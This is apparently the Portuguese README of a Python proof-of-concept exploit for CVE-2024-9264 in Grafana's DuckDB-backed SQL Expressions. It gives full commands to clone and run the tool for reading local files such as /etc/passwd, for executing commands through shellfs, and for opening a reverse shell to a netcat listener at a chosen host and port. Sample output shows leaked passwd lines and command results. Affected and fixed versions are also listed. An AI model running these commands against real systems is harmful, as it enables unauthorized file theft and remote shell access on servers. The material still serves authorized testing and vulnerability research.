
CVE-2024-9264 Grafana Expressões SQL DuckDB LFI/RCE PoC
Prova de conceito em Python para a CVE-2024-9264, uma vulnerabilidade em Expressões SQL do Grafana que pode permitir inclusão local de arquivos e execução de comandos por meio de acesso autenticado quando o duckdb está disponível no PATH do processo do Grafana.
Somente para testes autorizados e pesquisa. Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.
acesso autenticado à API do Grafana -> consulta DuckDB de Expressões SQL -> leitura de arquivo -> execução opcional de comandos via shellfs
read_blob() do DuckDB. Se for solicitada a execução de comandos, /etc/passwd é usado primeiro como arquivo de validação padrão.shellfs do DuckDB e executa um comando por meio de uma chamada com suporte a pipe.read_csv()/tmp/cve_2024_9264_out e imprime o resultado decodificado.O endpoint vulnerável pode ser chamado diretamente por meio da API; não é necessária interação com a interface do dashboard. A autenticação continua sendo necessária.



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
Quando --file é usado sozinho, o script lê esse arquivo diretamente e imprime o conteúdo decodificado na seção de resultados da leitura de arquivos.
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
O script primeiro executa uma validação padrão de leitura do arquivo /etc/passwd e depois entrega o payload do comando. Na seção de resultados, ele imprime a saída decodificada do comando em vez da resposta JSON bruta do Grafana.
Inicie um listener:
rlwrap nc -lvnp 4444
Envie o payload de reverse shell:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
Estas opções são baseadas na CLI atual do script:
-u, --url, --target TARGET
URL de destino, ex.: http://localhost:3000
--username USERNAME Nome de usuário do Grafana. Padrão: admin
--password PASSWORD Senha do Grafana. Padrão: admin
--file FILE Caminho do arquivo a ser lido. Caminho padrão de prova: /etc/passwd
--expected-marker MARKER
Marcador esperado na resposta da leitura do arquivo. Padrão: root:
--cmd CMD Comando a ser executado pelo caminho shellfs do DuckDB
--reverse-shell Executa um payload de reverse shell em bash
--lhost LHOST Host do listener para --reverse-shell
--lport LPORT Porta do listener para --reverse-shell
--timeout TIMEOUT Tempo limite de HTTP em segundos. Padrão: 20
--verify-tls Verifica certificados TLS. Padrão: ativado
-k, --insecure Desativa a verificação de certificados TLS
--dry-run Imprime metadados do alvo e do payload sem enviar solicitações
--debug Imprime metadados de depuração das solicitações
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| Produto | Versão afetada | Acesso necessário | Impacto |
|---|---|---|---|
| Grafana OSS / Enterprise | Grafana 11.0.x, 11.1.x e 11.2.x anteriores às versões corrigidas de segurança | Visualizador (Viewer) ou superior | Inclusão local de arquivos e injeção de comandos quando o DuckDB está presente no PATH do Grafana |
O Grafana observa que a exploração exige que o binário duckdb esteja presente no PATH do processo do Grafana; as distribuições normais do Grafana não instalam o DuckDB por padrão.
shellfs no ambiente de destino.-k ou --insecure.11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 e 11.2.2+security-01.ozcanpng - github.com/ozcanpng - ozcanpng.dev